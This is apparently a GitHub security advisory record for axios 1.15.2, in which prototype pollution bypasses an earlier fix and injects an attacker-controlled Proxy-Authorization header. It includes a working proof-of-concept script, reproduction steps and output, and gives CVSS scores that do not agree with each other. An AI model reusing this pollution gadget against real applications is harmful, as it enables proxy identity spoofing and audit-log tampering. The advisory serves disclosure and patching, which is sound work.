{"id":"GHSA-654m-c8p4-x5fp","summary":"Axios has a Patch Bypass: Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix","details":"# [Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2\n\n## Summary\n\nThe `Object.create(null)` fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the **top-level config object** from prototype pollution. However, **nested objects** created by `utils.merge()` (e.g., `config.proxy`) are still constructed as plain `{}` with `Object.prototype` in their chain.\n\nThe `setProxy()` function at `lib/adapters/http.js:209-223` reads `proxy.username`, `proxy.password`, and `proxy.auth` **without `hasOwnProperty` checks**. When `Object.prototype.username` is polluted, `setProxy()` constructs a `Proxy-Authorization` header with attacker-controlled credentials and injects it into **every proxied HTTP request**.\n\n**Severity:** Medium (CVSS 5.4)\n**Affected Versions:** 1.15.2 (and potentially 1.15.1)\n**Vulnerable Component:** `lib/adapters/http.js` (`setProxy()`) + `lib/utils.js` (`merge()`)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n- **CWE-113:** Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')\n\n## CVSS 3.1\n\n**Score: 5.6 (Medium)**\n\nVector: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP triggered remotely via vulnerable dependency |\n| Attack Complexity | **High** | Requires **two** preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure `config.proxy`. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Within the proxy authentication context |\n| Confidentiality | **Low** | Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike `config.baseURL` hijack) |\n| Integrity | **Low** | Proxy-Authorization header injected; proxy may apply different access policies based on injected identity |\n| Availability | **Low** | If proxy rejects the injected credentials, legitimate requests may fail |\n\n### Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)\n\n| Factor | GHSA-q8qp-cvcw-x6jj | This Finding |\n|---|---|---|\n| Precondition | **None** — all requests affected | Must have `config.proxy` set |\n| `config.baseURL` PP | Hijacks **all** relative URL requests | Not applicable |\n| `config.auth` PP | Injects `Authorization` to **target server** | Only injects `Proxy-Authorization` to **proxy** |\n| Attacker sees traffic | Yes (via baseURL redirect) | **No** — only proxy identity affected |\n| Impact scope | Universal — every axios request | Only requests with explicit proxy config |\n\n## This Is a Patch Bypass\n\nThis vulnerability **bypasses the fix** introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses `Object.create(null)` for the config object, blocking direct prototype pollution on `config.proxy`, `config.auth`, etc.\n\nHowever, the fix is **incomplete**: when a user legitimately sets `config.proxy = { host: 'proxy.corp', port: 8080 }`, the `mergeConfig()` function passes this object through `utils.merge()`, which creates a **new plain `{}` object** (`lib/utils.js:406: const result = {};`). This new object inherits from `Object.prototype`, re-opening the prototype pollution attack surface on the **nested** proxy object.\n\n| Layer | Protection | Status |\n|---|---|---|\n| `config` (top-level) | `Object.create(null)` | ✓ Fixed |\n| `config.proxy` (nested) | `utils.merge()` → `const result = {}` | **✗ NOT Fixed** |\n| `setProxy()` reads | `proxy.username`, `proxy.auth` without `hasOwnProperty` | **✗ NOT Fixed** |\n\n## Root Cause Analysis\n\n### Step 1: `utils.merge()` creates plain `{}` for nested objects\n\n**File:** `lib/utils.js`, line 406\n\n```javascript\nfunction merge(/* obj1, obj2, obj3, ... */) {\n  const result = {};  // ← Plain object with Object.prototype!\n  // ...\n}\n```\n\nWhen `mergeConfig()` processes `config.proxy`, `getMergedValue()` calls `utils.merge()`, which creates a plain `{}` for the nested object. This plain object inherits from `Object.prototype`.\n\n### Step 2: `setProxy()` reads proxy properties without `hasOwnProperty`\n\n**File:** `lib/adapters/http.js`, lines 209-223\n\n```javascript\nfunction setProxy(options, configProxy, location) {\n  let proxy = configProxy;\n  // ...\n  if (proxy) {\n    if (proxy.username) {                    // ← traverses Object.prototype!\n      proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');\n    }\n\n    if (proxy.auth) {                        // ← traverses Object.prototype!\n      const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password);\n      if (validProxyAuth) {\n        proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');\n      }\n      // ...\n      const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64');\n      options.headers['Proxy-Authorization'] = 'Basic ' + base64;  // ← INJECTED!\n    }\n    // ...\n  }\n}\n```\n\n### Complete Attack Chain\n\n```\nObject.prototype.username = 'attacker'\nObject.prototype.password = 'stolen-creds'\n         │\n         ▼\n  User config: { proxy: { host: 'proxy.corp', port: 8080 } }\n         │\n         ▼\n  mergeConfig() → utils.merge() → new plain {}\n  config.proxy = { host: 'proxy.corp', port: 8080 }  (own properties)\n  config.proxy inherits from Object.prototype         (has .username, .password)\n         │\n         ▼\n  setProxy() at http.js:209:\n    proxy.username → 'attacker' (from Object.prototype) → truthy!\n    proxy.auth = 'attacker' + ':' + 'stolen-creds'\n         │\n         ▼\n  http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n  Injected into EVERY proxied HTTP request!\n```\n\n## Proof of Concept\n\n```javascript\nimport http from 'http';\nimport axios from './index.js';\n\n// Proxy server logs received Proxy-Authorization\nconst proxyServer = http.createServer((req, res) =\u003e {\n  console.log('Proxy-Authorization:', req.headers['proxy-authorization']);\n  res.writeHead(200);\n  res.end('OK');\n});\nawait new Promise(r =\u003e proxyServer.listen(0, r));\nconst proxyPort = proxyServer.address().port;\n\n// Target server\nconst target = http.createServer((req, res) =\u003e { res.writeHead(200); res.end(); });\nawait new Promise(r =\u003e target.listen(0, r));\n\n// Simulate prototype pollution from vulnerable dependency\nObject.prototype.username = 'attacker';\nObject.prototype.password = 'stolen-creds';\n\n// Developer sets proxy WITHOUT auth — expects no auth header\nawait axios.get(`http://127.0.0.1:${target.address().port}/api`, {\n  proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' },\n});\n\n// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n// Decoded: attacker:stolen-creds\n\ndelete Object.prototype.username;\ndelete Object.prototype.password;\nproxyServer.close();\ntarget.close();\n```\n\n## Reproduction Environment\n\n```\nAxios version: 1.15.2 (latest patched release)\nNode.js version: v20.20.2\nOS: macOS Darwin 25.4.0\n```\n\n## Reproduction Steps\n\n```bash\n# 1. Install axios 1.15.2\nnpm pack axios@1.15.2\ntar xzf axios-1.15.2.tgz && mv package axios-1.15.2\ncd axios-1.15.2 && npm install\n\n# 2. Save PoC as poc.mjs (code from Section 7 above)\n\n# 3. Run\nnode poc.mjs\n```\n\n## Verified PoC Output\n\n```\n=== Axios 1.15.2: PP → Proxy-Authorization Injection ===\n\n[1] Normal request with proxy (no auth):\n  Proxy-Authorization: none\n\n[2] Prototype Pollution: Object.prototype.username = \"attacker\"\n  Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n  Decoded: attacker:stolen-creds\n  → PP injected proxy credentials: attacker:stolen-creds\n\n[3] Impact:\n  ✗ Attacker injects Proxy-Authorization into all proxied requests\n  ✗ If proxy logs auth, attacker credential appears in proxy logs\n  ✗ If proxy authenticates based on this, attacker controls proxy identity\n  ✗ Works on 1.15.2 despite null-prototype config fix\n  ✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype\n```\n\n### Confirming the Bypass Mechanism\n\n```\nDirect PP (config.proxy) — BLOCKED by 1.15.2:\n  Object.prototype.proxy = { host: 'evil' }\n  config.proxy = undefined            ← null-prototype blocks ✓\n\nNested PP (proxy.username) — BYPASSES 1.15.2:\n  Object.prototype.username = 'attacker'\n  config.proxy = { host: 'legit', port: 8080 }  ← user-set, own properties\n  config.proxy own keys: ['host', 'port']        ← username NOT own\n  config.proxy.username = 'attacker'             ← inherited from Object.prototype!\n  hasOwn(config.proxy, 'username') = false\n```\n```\n\n## Impact Analysis\n\n- **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity.\n- **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record \"attacker\" instead of the real user, enabling audit trail manipulation.\n- **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain.\n- **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments.\n\n### Prerequisite\n\n- Application must use `config.proxy` (explicit proxy configuration)\n- A separate prototype pollution vulnerability must exist in the dependency tree\n- `Object.prototype.username` or `Object.prototype.auth` must be polluted\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` in `setProxy()`\n\n```javascript\nfunction setProxy(options, configProxy, location) {\n  let proxy = configProxy;\n  // ...\n  if (proxy) {\n    const hasOwn = (obj, key) =\u003e Object.prototype.hasOwnProperty.call(obj, key);\n\n    if (hasOwn(proxy, 'username')) {\n      proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');\n    }\n\n    if (hasOwn(proxy, 'auth')) {\n      // ... existing auth handling ...\n    }\n  }\n}\n```\n\n### Fix 2: Use null-prototype objects in `utils.merge()`\n\n```javascript\n// lib/utils.js line 406\nfunction merge(/* obj1, obj2, obj3, ... */) {\n  const result = Object.create(null);  // ← null-prototype for nested objects too\n  // ...\n}\n```\n\n### Fix 3 (Comprehensive): Apply null-prototype to all objects created by `getMergedValue()`\n\n## References\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [GHSA-q8qp-cvcw-x6jj: Original PP Gadgets Fix (Axios 1.15.2)](https://github.com/advisories/GHSA-q8qp-cvcw-x6jj)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget (Axios 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)","aliases":["CVE-2026-44489"],"modified":"2026-09-10T03:50:45.767891933Z","published":"2026-05-29T15:51:02Z","database_specific":{"cwe_ids":["CWE-113","CWE-1321"],"severity":"LOW","github_reviewed":true,"github_reviewed_at":"2026-05-29T15:51:02Z","nvd_published_at":"2026-06-11T17:16:32Z"},"references":[{"type":"WEB","url":"https://github.com/axios/axios/security/advisories/GHSA-654m-c8p4-x5fp"},{"type":"WEB","url":"https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44489"},{"type":"PACKAGE","url":"https://github.com/axios/axios"}],"affected":[{"package":{"name":"axios","ecosystem":"npm","purl":"pkg:npm/axios"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.15.2"},{"fixed":"1.16.0"}]}],"versions":["1.15.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-654m-c8p4-x5fp/GHSA-654m-c8p4-x5fp.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N"}]}